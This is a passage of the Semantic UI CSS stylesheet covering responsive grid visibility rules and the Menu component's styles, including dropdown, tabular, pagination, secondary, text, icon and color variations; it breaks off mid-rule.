  .ui.grid.grid.grid > [class*="tablet only"].column:not(.computer),
  .ui.grid.grid.grid > .row > [class*="tablet only"].column:not(.computer) {
    display: none !important;
  }

  .ui[class*="large screen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="large screen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="large screen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="large screen only"].column:not(.mobile) {
    display: none !important;
  }

  .ui[class*="widescreen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="widescreen only"].column:not(.mobile) {
    display: none !important;
  }
}

/* Large Screen Only Hide */

@media only screen and (min-width: 1200px) and (max-width: 1919px) {
  .ui[class*="mobile only"].grid.grid.grid:not(.computer),
  .ui.grid.grid.grid > [class*="mobile only"].row:not(.computer),
  .ui.grid.grid.grid > [class*="mobile only"].column:not(.computer),
  .ui.grid.grid.grid > .row > [class*="mobile only"].column:not(.computer) {
    display: none !important;
  }

  .ui[class*="tablet only"].grid.grid.grid:not(.computer),
  .ui.grid.grid.grid > [class*="tablet only"].row:not(.computer),
  .ui.grid.grid.grid > [class*="tablet only"].column:not(.computer),
  .ui.grid.grid.grid > .row > [class*="tablet only"].column:not(.computer) {
    display: none !important;
  }

  .ui[class*="widescreen only"].grid.grid.grid:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].row:not(.mobile),
  .ui.grid.grid.grid > [class*="widescreen only"].column:not(.mobile),
  .ui.grid.grid.grid > .row > [class*="widescreen only"].column:not(.mobile) {
    display: none !important;
  }
}

/* Widescreen Only Hide */

@media only screen and (min-width: 1920px) {
  .ui[class*="mobile only"].grid.grid.grid:not(.computer),
  .ui.grid.grid.grid > [class*="mobile only"].row:not(.computer),
  .ui.grid.grid.grid > [class*="mobile only"].column:not(.computer),
  .ui.grid.grid.grid > .row > [class*="mobile only"].column:not(.computer) {
    display: none !important;
  }

  .ui[class*="tablet only"].grid.grid.grid:not(.computer),
  .ui.grid.grid.grid > [class*="tablet only"].row:not(.computer),
  .ui.grid.grid.grid > [class*="tablet only"].column:not(.computer),
  .ui.grid.grid.grid > .row > [class*="tablet only"].column:not(.computer) {
    display: none !important;
  }
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*
 * # Semantic - Menu
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Copyright 2015 Contributor
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Standard
*******************************/

/*--------------
      Menu
---------------*/

.ui.menu {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin: 1rem 0em;
  
  background: #FFFFFF;
  font-weight: normal;
  border: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
  border-radius: 0.28571429rem;
  min-height: 2.85714286em;
}

.ui.menu:after {
  content: '';
  display: block;
  height: 0px;
  clear: both;
  visibility: hidden;
}

.ui.menu:first-child {
  margin-top: 0rem;
}

.ui.menu:last-child {
  margin-bottom: 0rem;
}

/*--------------
    Sub-Menu
---------------*/

.ui.menu .menu {
  margin: 0em;
}

.ui.menu:not(.vertical) > .menu {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

/*--------------
      Item
---------------*/

.ui.menu:not(.vertical) .item {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
}

.ui.menu .item {
  position: relative;
  vertical-align: middle;
  line-height: 1;
  text-decoration: none;
  -webkit-tap-highlight-color: transparent;
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  background: none;
  padding: 0.92857143em 1.14285714em;
  text-transform: none;
  color: rgba(0, 0, 0, 0.87);
  font-weight: normal;
  -webkit-transition: background 0.1s ease, box-shadow 0.1s ease, color 0.1s ease;
  transition: background 0.1s ease, box-shadow 0.1s ease, color 0.1s ease;
}

.ui.menu > .item:first-child {
  border-radius: 0.28571429rem 0px 0px 0.28571429rem;
}

/* Border */

.ui.menu .item:before {
  position: absolute;
  content: '';
  top: 0%;
  right: 0px;
  height: 100%;
  width: 1px;
  background: rgba(34, 36, 38, 0.1);
}

/*--------------
  Text Content
---------------*/

.ui.menu .text.item > *,
.ui.menu .item > a:not(.ui),
.ui.menu .item > p:only-child {
  -webkit-user-select: text;
  -moz-user-select: text;
  -ms-user-select: text;
  user-select: text;
  line-height: 1.3;
}

.ui.menu .item > p:first-child {
  margin-top: 0;
}

.ui.menu .item > p:last-child {
  margin-bottom: 0;
}

/*--------------
      Icons
---------------*/

.ui.menu .item > i.icon {
  opacity: 0.9;
  float: none;
  margin: 0em 0.35714286em 0em 0em;
}

/*--------------
     Button
---------------*/

.ui.menu:not(.vertical) .item > .button {
  position: relative;
  top: 0em;
  margin: -0.5em 0em;
  padding-bottom: 0.78571429em;
  padding-top: 0.78571429em;
  font-size: 1em;
}

/*----------------
 Grid / Container
-----------------*/

.ui.menu > .grid,
.ui.menu > .container {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: inherit;
  -webkit-align-items: inherit;
  -ms-flex-align: inherit;
  align-items: inherit;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: inherit;
  -ms-flex-direction: inherit;
  flex-direction: inherit;
}

/*--------------
     Inputs
---------------*/

.ui.menu .item > .input {
  width: 100%;
}

.ui.menu:not(.vertical) .item > .input {
  position: relative;
  top: 0em;
  margin: -0.5em 0em;
}

.ui.menu .item > .input input {
  font-size: 1em;
  padding-top: 0.57142857em;
  padding-bottom: 0.57142857em;
}

/*--------------
     Header
---------------*/

.ui.menu .header.item,
.ui.vertical.menu .header.item {
  margin: 0em;
  background: '';
  text-transform: normal;
  font-weight: bold;
}

.ui.vertical.menu .item > .header:not(.ui) {
  margin: 0em 0em 0.5em;
  font-size: 1em;
  font-weight: bold;
}

/*--------------
    Dropdowns
---------------*/

/* Dropdown Icon */

.ui.menu .item > i.dropdown.icon {
  padding: 0em;
  float: right;
  margin: 0em 0em 0em 1em;
}

/* Menu */

.ui.menu .dropdown.item .menu {
  left: 0px;
  min-width: calc(100% - 1px);
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
  background: #FFFFFF;
  margin: 0em 0px 0px;
  box-shadow: 0px 1px 3px 0px rgba(0, 0, 0, 0.08);
  -webkit-box-orient: vertical !important;
  -webkit-box-direction: normal !important;
  -webkit-flex-direction: column !important;
  -ms-flex-direction: column !important;
  flex-direction: column !important;
}

/* Menu Items */

.ui.menu .ui.dropdown .menu > .item {
  margin: 0;
  text-align: left;
  font-size: 1em !important;
  padding: 0.78571429em 1.14285714em !important;
  background: transparent !important;
  color: rgba(0, 0, 0, 0.87) !important;
  text-transform: none !important;
  font-weight: normal !important;
  box-shadow: none !important;
  -webkit-transition: none !important;
  transition: none !important;
}

.ui.menu .ui.dropdown .menu > .item:hover {
  background: rgba(0, 0, 0, 0.05) !important;
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.menu .ui.dropdown .menu > .selected.item {
  background: rgba(0, 0, 0, 0.05) !important;
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.menu .ui.dropdown .menu > .active.item {
  background: rgba(0, 0, 0, 0.03) !important;
  font-weight: bold !important;
  color: rgba(0, 0, 0, 0.95) !important;
}

.ui.menu .ui.dropdown.item .menu .item:not(.filtered) {
  display: block;
}

.ui.menu .ui.dropdown .menu > .item .icon:not(.dropdown) {
  display: inline-block;
  font-size: 1em !important;
  float: none;
  margin: 0em 0.75em 0em 0em;
}

/* Secondary */

.ui.secondary.menu .dropdown.item > .menu,
.ui.text.menu .dropdown.item > .menu {
  border-radius: 0.28571429rem;
  margin-top: 0.35714286em;
}

/* Pointing */

.ui.menu .pointing.dropdown.item .menu {
  margin-top: 0.75em;
}

/* Inverted */

.ui.inverted.menu .search.dropdown.item > .search,
.ui.inverted.menu .search.dropdown.item > .text {
  color: rgba(255, 255, 255, 0.9);
}

/* Vertical */

.ui.vertical.menu .dropdown.item > .icon {
  float: right;
  content: "\f0da";
  margin-left: 1em;
}

.ui.vertical.menu .dropdown.item .menu {
  left: 100%;
  min-width: 0;
  margin: 0em 0em 0em 0em;
  box-shadow: 0 1px 3px 0px rgba(0, 0, 0, 0.08);
  border-radius: 0em 0.28571429rem 0.28571429rem 0.28571429rem;
}

.ui.vertical.menu .dropdown.item.upward .menu {
  bottom: 0;
}

.ui.vertical.menu .dropdown.item:not(.upward) .menu {
  top: 0;
}

.ui.vertical.menu .active.dropdown.item {
  border-top-right-radius: 0em;
  border-bottom-right-radius: 0em;
}

.ui.vertical.menu .dropdown.active.item {
  box-shadow: none;
}

/* Evenly Divided */

.ui.item.menu .dropdown .menu .item {
  width: 100%;
}

/*--------------
     Labels
---------------*/

.ui.menu .item > .label {
  background: #999999;
  color: #FFFFFF;
  margin-left: 1em;
  padding: 0.3em 0.78571429em;
}

.ui.vertical.menu .item > .label {
  background: #999999;
  color: #FFFFFF;
  margin-top: -0.15em;
  margin-bottom: -0.15em;
  padding: 0.3em 0.78571429em;
}

.ui.menu .item > .floating.label {
  padding: 0.3em 0.78571429em;
}

/*--------------
     Images
---------------*/

.ui.menu .item > img:not(.ui) {
  display: inline-block;
  vertical-align: middle;
  margin: -0.3em 0em;
  width: 2.5em;
}

.ui.vertical.menu .item > img:not(.ui):only-child {
  display: block;
  max-width: 100%;
  width: auto;
}

/*******************************
          Coupling
*******************************/

/*--------------
     Sidebar
---------------*/

/* Show vertical dividers below last */

.ui.vertical.sidebar.menu > .item:first-child:before {
  display: block !important;
}

.ui.vertical.sidebar.menu > .item::before {
  top: auto;
  bottom: 0px;
}

/*--------------
    Container
---------------*/

@media only screen and (max-width: 767px) {
  .ui.menu > .ui.container {
    width: 100% !important;
    margin-left: 0em !important;
    margin-right: 0em !important;
  }
}

@media only screen and (min-width: 768px) {
  .ui.menu:not(.secondary):not(.text):not(.tabular):not(.borderless) > .container > .item:not(.right):not(.borderless):first-child {
    border-left: 1px solid rgba(34, 36, 38, 0.1);
  }
}

/*******************************
             States
*******************************/

/*--------------
      Hover
---------------*/

.ui.link.menu .item:hover,
.ui.menu .dropdown.item:hover,
.ui.menu .link.item:hover,
.ui.menu a.item:hover {
  cursor: pointer;
  background: rgba(0, 0, 0, 0.03);
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Pressed
---------------*/

.ui.link.menu .item:active,
.ui.menu .link.item:active,
.ui.menu a.item:active {
  background: rgba(0, 0, 0, 0.03);
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Active
---------------*/

.ui.menu .active.item {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
  font-weight: normal;
  box-shadow: none;
}

.ui.menu .active.item > i.icon {
  opacity: 1;
}

/*--------------
  Active Hover
---------------*/

.ui.menu .active.item:hover,
.ui.vertical.menu .active.item:hover {
  background-color: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Disabled
---------------*/

.ui.menu .item.disabled,
.ui.menu .item.disabled:hover {
  cursor: default;
  background-color: transparent !important;
  color: rgba(40, 40, 40, 0.3);
}

/*******************************
             Types
*******************************/

/*------------------
Floated Menu / Item
-------------------*/

/* Left Floated */

.ui.menu:not(.vertical) .left.item,
.ui.menu:not(.vertical) .left.menu {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin-right: auto !important;
}

/* Right Floated */

.ui.menu:not(.vertical) .right.item,
.ui.menu:not(.vertical) .right.menu {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin-left: auto !important;
}

/* Swapped Borders */

.ui.menu .right.item::before,
.ui.menu .right.menu > .item::before {
  right: auto;
  left: 0;
}

/*--------------
    Vertical
---------------*/

.ui.vertical.menu {
  display: block;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  background: #FFFFFF;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
}

/*--- Item ---*/

.ui.vertical.menu .item {
  display: block;
  background: none;
  border-top: none;
  border-right: none;
}

.ui.vertical.menu > .item:first-child {
  border-radius: 0.28571429rem 0.28571429rem 0px 0px;
}

.ui.vertical.menu > .item:last-child {
  border-radius: 0px 0px 0.28571429rem 0.28571429rem;
}

/*--- Label ---*/

.ui.vertical.menu .item > .label {
  float: right;
  text-align: center;
}

/*--- Icon ---*/

.ui.vertical.menu .item > i.icon {
  width: 1.18em;
  float: right;
  margin: 0em 0em 0em 0.5em;
}

.ui.vertical.menu .item > .label + i.icon {
  float: none;
  margin: 0em 0.5em 0em 0em;
}

/*--- Border ---*/

.ui.vertical.menu .item:before {
  position: absolute;
  content: '';
  top: 0%;
  left: 0px;
  width: 100%;
  height: 1px;
  background: rgba(34, 36, 38, 0.1);
}

.ui.vertical.menu .item:first-child:before {
  display: none !important;
}

/*--- Sub Menu ---*/

.ui.vertical.menu .item > .menu {
  margin: 0.5em -1.14285714em 0em;
}

.ui.vertical.menu .menu .item {
  background: none;
  padding: 0.5em 1.33333333em;
  font-size: 0.85714286em;
  color: rgba(0, 0, 0, 0.5);
}

.ui.vertical.menu .item .menu a.item:hover,
.ui.vertical.menu .item .menu .link.item:hover {
  color: rgba(0, 0, 0, 0.85);
}

.ui.vertical.menu .menu .item:before {
  display: none;
}

/* Vertical Active */

.ui.vertical.menu .active.item {
  background: rgba(0, 0, 0, 0.05);
  border-radius: 0em;
  box-shadow: none;
}

.ui.vertical.menu > .active.item:first-child {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.vertical.menu > .active.item:last-child {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui.vertical.menu > .active.item:only-child {
  border-radius: 0.28571429rem;
}

.ui.vertical.menu .active.item .menu .active.item {
  border-left: none;
}

.ui.vertical.menu .item .menu .active.item {
  background-color: transparent;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.95);
}

/*--------------
     Tabular
---------------*/

.ui.tabular.menu {
  border-radius: 0em;
  box-shadow: none !important;
  border: none;
  background: none transparent;
  border-bottom: 1px solid #D4D4D5;
}

.ui.tabular.fluid.menu {
  width: calc(100% +  2px ) !important;
}

.ui.tabular.menu .item {
  background: transparent;
  border-bottom: none;
  border-left: 1px solid transparent;
  border-right: 1px solid transparent;
  border-top: 2px solid transparent;
  padding: 0.92857143em 1.42857143em;
  color: rgba(0, 0, 0, 0.87);
}

.ui.tabular.menu .item:before {
  display: none;
}

/* Hover */

.ui.tabular.menu .item:hover {
  background-color: transparent;
  color: rgba(0, 0, 0, 0.8);
}

/* Active */

.ui.tabular.menu .active.item {
  background: none #FFFFFF;
  color: rgba(0, 0, 0, 0.95);
  border-top-width: 1px;
  border-color: #D4D4D5;
  font-weight: bold;
  margin-bottom: -1px;
  box-shadow: none;
  border-radius: 0.28571429rem 0.28571429rem 0px 0px !important;
}

/* Coupling with segment for attachment */

.ui.tabular.menu + .attached:not(.top).segment,
.ui.tabular.menu + .attached:not(.top).segment + .attached:not(.top).segment {
  border-top: none;
  margin-left: 0px;
  margin-top: 0px;
  margin-right: 0px;
  width: 100%;
}

.top.attached.segment + .ui.bottom.tabular.menu {
  position: relative;
  width: calc(100% +  2px );
  left: -1px;
}

/* Bottom Vertical Tabular */

.ui.bottom.tabular.menu {
  background: none transparent;
  border-radius: 0em;
  box-shadow: none !important;
  border-bottom: none;
  border-top: 1px solid #D4D4D5;
}

.ui.bottom.tabular.menu .item {
  background: none;
  border-left: 1px solid transparent;
  border-right: 1px solid transparent;
  border-bottom: 1px solid transparent;
  border-top: none;
}

.ui.bottom.tabular.menu .active.item {
  background: none #FFFFFF;
  color: rgba(0, 0, 0, 0.95);
  border-color: #D4D4D5;
  margin: -1px 0px 0px 0px;
  border-radius: 0px 0px 0.28571429rem 0.28571429rem !important;
}

/* Vertical Tabular (Left) */

.ui.vertical.tabular.menu {
  background: none transparent;
  border-radius: 0em;
  box-shadow: none !important;
  border-bottom: none;
  border-right: 1px solid #D4D4D5;
}

.ui.vertical.tabular.menu .item {
  background: none;
  border-left: 1px solid transparent;
  border-bottom: 1px solid transparent;
  border-top: 1px solid transparent;
  border-right: none;
}

.ui.vertical.tabular.menu .active.item {
  background: none #FFFFFF;
  color: rgba(0, 0, 0, 0.95);
  border-color: #D4D4D5;
  margin: 0px -1px 0px 0px;
  border-radius: 0.28571429rem 0px 0px 0.28571429rem !important;
}

/* Vertical Right Tabular */

.ui.vertical.right.tabular.menu {
  background: none transparent;
  border-radius: 0em;
  box-shadow: none !important;
  border-bottom: none;
  border-right: none;
  border-left: 1px solid #D4D4D5;
}

.ui.vertical.right.tabular.menu .item {
  background: none;
  border-right: 1px solid transparent;
  border-bottom: 1px solid transparent;
  border-top: 1px solid transparent;
  border-left: none;
}

.ui.vertical.right.tabular.menu .active.item {
  background: none #FFFFFF;
  color: rgba(0, 0, 0, 0.95);
  border-color: #D4D4D5;
  margin: 0px 0px 0px -1px;
  border-radius: 0px 0.28571429rem 0.28571429rem 0px !important;
}

/* Dropdown */

.ui.tabular.menu .active.dropdown.item {
  margin-bottom: 0px;
  border-left: 1px solid transparent;
  border-right: 1px solid transparent;
  border-top: 2px solid transparent;
  border-bottom: none;
}

/*--------------
   Pagination
---------------*/

.ui.pagination.menu {
  margin: 0em;
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  vertical-align: middle;
}

.ui.pagination.menu .item:last-child {
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

.ui.compact.menu .item:last-child {
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

.ui.pagination.menu .item:last-child:before {
  display: none;
}

.ui.pagination.menu .item {
  min-width: 3em;
  text-align: center;
}

.ui.pagination.menu .icon.item i.icon {
  vertical-align: top;
}

/* Active */

.ui.pagination.menu .active.item {
  border-top: none;
  padding-top: 0.92857143em;
  background-color: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
  box-shadow: none;
}

/*--------------
   Secondary
---------------*/

.ui.secondary.menu {
  background: none;
  margin-left: -0.35714286em;
  margin-right: -0.35714286em;
  border-radius: 0em;
  border: none;
  box-shadow: none;
}

/* Item */

.ui.secondary.menu .item {
  -webkit-align-self: center;
  -ms-flex-item-align: center;
  align-self: center;
  box-shadow: none;
  border: none;
  padding: 0.78571429em 0.92857143em;
  margin: 0em 0.35714286em;
  background: none;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
  border-radius: 0.28571429rem;
}

/* No Divider */

.ui.secondary.menu .item:before {
  display: none !important;
}

/* Header */

.ui.secondary.menu .header.item {
  border-radius: 0em;
  border-right: none;
  background: none transparent;
}

/* Image */

.ui.secondary.menu .item > img:not(.ui) {
  margin: 0em;
}

/* Hover */

.ui.secondary.menu .dropdown.item:hover,
.ui.secondary.menu .link.item:hover,
.ui.secondary.menu a.item:hover {
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
}

/* Active */

.ui.secondary.menu .active.item {
  box-shadow: none;
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
  border-radius: 0.28571429rem;
}

/* Active Hover */

.ui.secondary.menu .active.item:hover {
  box-shadow: none;
  background: rgba(0, 0, 0, 0.05);
  color: rgba(0, 0, 0, 0.95);
}

/* Inverted */

.ui.secondary.inverted.menu .link.item,
.ui.secondary.inverted.menu a.item {
  color: rgba(255, 255, 255, 0.7) !important;
}

.ui.secondary.inverted.menu .dropdown.item:hover,
.ui.secondary.inverted.menu .link.item:hover,
.ui.secondary.inverted.menu a.item:hover {
  background: rgba(255, 255, 255, 0.08);
  color: #ffffff !important;
}

.ui.secondary.inverted.menu .active.item {
  background: rgba(255, 255, 255, 0.15);
  color: #ffffff !important;
}

/* Fix item margins */

.ui.secondary.item.menu {
  margin-left: 0em;
  margin-right: 0em;
}

.ui.secondary.item.menu .item:last-child {
  margin-right: 0em;
}

.ui.secondary.attached.menu {
  box-shadow: none;
}

/* Sub Menu */

.ui.vertical.secondary.menu .item:not(.dropdown) > .menu {
  margin: 0em -0.92857143em;
}

.ui.vertical.secondary.menu .item:not(.dropdown) > .menu > .item {
  margin: 0em;
  padding: 0.5em 1.33333333em;
}

/*---------------------
   Secondary Vertical
-----------------------*/

.ui.secondary.vertical.menu > .item {
  border: none;
  margin: 0em 0em 0.35714286em;
  border-radius: 0.28571429rem !important;
}

.ui.secondary.vertical.menu > .header.item {
  border-radius: 0em;
}

/* Sub Menu */

.ui.vertical.secondary.menu .item > .menu .item {
  background-color: transparent;
}

/* Inverted */

.ui.secondary.inverted.menu {
  background-color: transparent;
}

/*---------------------
   Secondary Pointing
-----------------------*/

.ui.secondary.pointing.menu {
  margin-left: 0em;
  margin-right: 0em;
  border-bottom: 2px solid rgba(34, 36, 38, 0.15);
}

.ui.secondary.pointing.menu .item {
  border-bottom-color: transparent;
  border-bottom-style: solid;
  border-radius: 0em;
  -webkit-align-self: flex-end;
  -ms-flex-item-align: end;
  align-self: flex-end;
  margin: 0em 0em -2px;
  padding: 0.85714286em 1.14285714em;
  border-bottom-width: 2px;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

/* Item Types */

.ui.secondary.pointing.menu .header.item {
  color: rgba(0, 0, 0, 0.85) !important;
}

.ui.secondary.pointing.menu .text.item {
  box-shadow: none !important;
}

.ui.secondary.pointing.menu .item:after {
  display: none;
}

/* Hover */

.ui.secondary.pointing.menu .dropdown.item:hover,
.ui.secondary.pointing.menu .link.item:hover,
.ui.secondary.pointing.menu a.item:hover {
  background-color: transparent;
  color: rgba(0, 0, 0, 0.87);
}

/* Pressed */

.ui.secondary.pointing.menu .dropdown.item:active,
.ui.secondary.pointing.menu .link.item:active,
.ui.secondary.pointing.menu a.item:active {
  background-color: transparent;
  border-color: rgba(34, 36, 38, 0.15);
}

/* Active */

.ui.secondary.pointing.menu .active.item {
  background-color: transparent;
  box-shadow: none;
  border-color: #1B1C1D;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.95);
}

/* Active Hover */

.ui.secondary.pointing.menu .active.item:hover {
  border-color: #1B1C1D;
  color: rgba(0, 0, 0, 0.95);
}

/* Active Dropdown */

.ui.secondary.pointing.menu .active.dropdown.item {
  border-color: transparent;
}

/* Vertical Pointing */

.ui.secondary.vertical.pointing.menu {
  border-bottom-width: 0px;
  border-right-width: 2px;
  border-right-style: solid;
  border-right-color: rgba(34, 36, 38, 0.15);
}

.ui.secondary.vertical.pointing.menu .item {
  border-bottom: none;
  border-right-style: solid;
  border-right-color: transparent;
  border-radius: 0em !important;
  margin: 0em -2px 0em 0em;
  border-right-width: 2px;
}

/* Vertical Active */

.ui.secondary.vertical.pointing.menu .active.item {
  border-color: #1B1C1D;
}

/* Inverted */

.ui.secondary.inverted.pointing.menu {
  border-color: rgba(255, 255, 255, 0.1);
}

.ui.secondary.inverted.pointing.menu {
  border-width: 2px;
  border-color: rgba(34, 36, 38, 0.15);
}

.ui.secondary.inverted.pointing.menu .item {
  color: rgba(255, 255, 255, 0.9);
}

.ui.secondary.inverted.pointing.menu .header.item {
  color: #FFFFFF !important;
}

/* Hover */

.ui.secondary.inverted.pointing.menu .link.item:hover,
.ui.secondary.inverted.pointing.menu a.item:hover {
  color: rgba(0, 0, 0, 0.95);
}

/* Active */

.ui.secondary.inverted.pointing.menu .active.item {
  border-color: #FFFFFF;
  color: #ffffff;
}

/*--------------
    Text Menu
---------------*/

.ui.text.menu {
  background: none transparent;
  border-radius: 0px;
  box-shadow: none;
  border: none;
  margin: 1em -0.5em;
}

.ui.text.menu .item {
  border-radius: 0px;
  box-shadow: none;
  -webkit-align-self: center;
  -ms-flex-item-align: center;
  align-self: center;
  margin: 0em 0em;
  padding: 0.35714286em 0.5em;
  font-weight: normal;
  color: rgba(0, 0, 0, 0.6);
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
}

/* Border */

.ui.text.menu .item:before,
.ui.text.menu .menu .item:before {
  display: none !important;
}

/* Header */

.ui.text.menu .header.item {
  background-color: transparent;
  opacity: 1;
  color: rgba(0, 0, 0, 0.85);
  font-size: 0.92857143em;
  text-transform: uppercase;
  font-weight: bold;
}

/* Image */

.ui.text.menu .item > img:not(.ui) {
  margin: 0em;
}

/*--- fluid text ---*/

.ui.text.item.menu .item {
  margin: 0em;
}

/*--- vertical text ---*/

.ui.vertical.text.menu {
  margin: 1em 0em;
}

.ui.vertical.text.menu:first-child {
  margin-top: 0rem;
}

.ui.vertical.text.menu:last-child {
  margin-bottom: 0rem;
}

.ui.vertical.text.menu .item {
  margin: 0.57142857em 0em;
  padding-left: 0em;
  padding-right: 0em;
}

.ui.vertical.text.menu .item > i.icon {
  float: none;
  margin: 0em 0.35714286em 0em 0em;
}

.ui.vertical.text.menu .header.item {
  margin: 0.57142857em 0em 0.71428571em;
}

/* Vertical Sub Menu */

.ui.vertical.text.menu .item:not(.dropdown) > .menu {
  margin: 0em;
}

.ui.vertical.text.menu .item:not(.dropdown) > .menu > .item {
  margin: 0em;
  padding: 0.5em 0em;
}

/*--- hover ---*/

.ui.text.menu .item:hover {
  opacity: 1;
  background-color: transparent;
}

/*--- active ---*/

.ui.text.menu .active.item {
  background-color: transparent;
  border: none;
  box-shadow: none;
  font-weight: normal;
  color: rgba(0, 0, 0, 0.95);
}

/*--- active hover ---*/

.ui.text.menu .active.item:hover {
  background-color: transparent;
}

/* Disable Bariations */

.ui.text.pointing.menu .active.item:after {
  box-shadow: none;
}

.ui.text.attached.menu {
  box-shadow: none;
}

/* Inverted */

.ui.inverted.text.menu,
.ui.inverted.text.menu .item,
.ui.inverted.text.menu .item:hover,
.ui.inverted.text.menu .active.item {
  background-color: transparent !important;
}

/* Fluid */

.ui.fluid.text.menu {
  margin-left: 0em;
  margin-right: 0em;
}

/*--------------
    Icon Only
---------------*/

/* Vertical Menu */

.ui.vertical.icon.menu {
  display: inline-block;
  width: auto;
}

/* Item */

.ui.icon.menu .item {
  height: auto;
  text-align: center;
  color: #1B1C1D;
}

/* Icon */

.ui.icon.menu .item > .icon:not(.dropdown) {
  margin: 0;
  opacity: 1;
}

/* Icon Gylph */

.ui.icon.menu .icon:before {
  opacity: 1;
}

/* (x) Item Icon */

.ui.menu .icon.item > .icon {
  width: auto;
  margin: 0em auto;
}

/* Vertical Icon */

.ui.vertical.icon.menu .item > .icon:not(.dropdown) {
  display: block;
  opacity: 1;
  margin: 0em auto;
  float: none;
}

/* Inverted */

.ui.inverted.icon.menu .item {
  color: #FFFFFF;
}

/*--------------
   Labeled Icon
---------------*/

/* Menu */

.ui.labeled.icon.menu {
  text-align: center;
}

/* Item */

.ui.labeled.icon.menu .item {
  min-width: 6em;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
}

/* Icon */

.ui.labeled.icon.menu .item > .icon:not(.dropdown) {
  height: 1em;
  display: block;
  font-size: 1.71428571em !important;
  margin: 0em auto 0.5rem !important;
}

/* Fluid */

.ui.fluid.labeled.icon.menu > .item {
  min-width: 0em;
}

/*******************************
           Variations
*******************************/

/*--------------
    Stackable
---------------*/

@media only screen and (max-width: 767px) {
  .ui.stackable.menu {
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
  }

  .ui.stackable.menu .item {
    width: 100% !important;
  }

  .ui.stackable.menu .item:before {
    position: absolute;
    content: '';
    top: auto;
    bottom: 0px;
    left: 0px;
    width: 100%;
    height: 1px;
    background: rgba(34, 36, 38, 0.1);
  }

  .ui.stackable.menu .left.menu,
  .ui.stackable.menu .left.item {
    margin-right: 0 !important;
  }

  .ui.stackable.menu .right.menu,
  .ui.stackable.menu .right.item {
    margin-left: 0 !important;
  }
}

/*--------------
     Colors
---------------*/

/*--- Standard Colors  ---*/

.ui.menu .red.active.item,
.ui.red.menu .active.item {
  border-color: #DB2828 !important;
  color: #DB2828 !important;
}

.ui.menu .orange.active.item,
.ui.orange.menu .active.item {
  border-color: #F2711C !important;
  color: #F2711C !important;
}

.ui.menu .yellow.active.item,
.ui.yellow.menu .active.item {
  border-color: #FBBD08 !important;
  color: #FBBD08 !important;
}

.ui.menu .olive.active.item,
.ui.olive.menu .active.item {
  border-color: #B5CC18 !important;
  color: #B5CC18 !important;
}

.ui.menu .green.active.item,
.ui.green.menu .active.item {
  border-color: #21BA45 !important;
  color: #21BA45 !important;
}

.ui.menu .teal.active.item,
.ui.teal.menu .active.item {
  border-color: #00B5AD !important;
  color: #00B5AD !important;
}

.ui.menu .blue.active.item,
.ui.blue.menu .active.item {
  border-color: #2185D0 !important;
  color: #2185D0 !important;
}

.ui.menu .violet.active.item,
.ui.violet.menu .active.item {
  border-color: #6435C9 !important;
  color: #6435C9 !important;
}

.ui.menu .purple.active.item,
.ui.purple.menu .active.item {
  border-color: #A333C8 !important;
  color: #A333C8 !important;
}

.ui.menu .pink.active.item,
.ui.pink.menu .active.item {
  border-color: #E03997 !important;
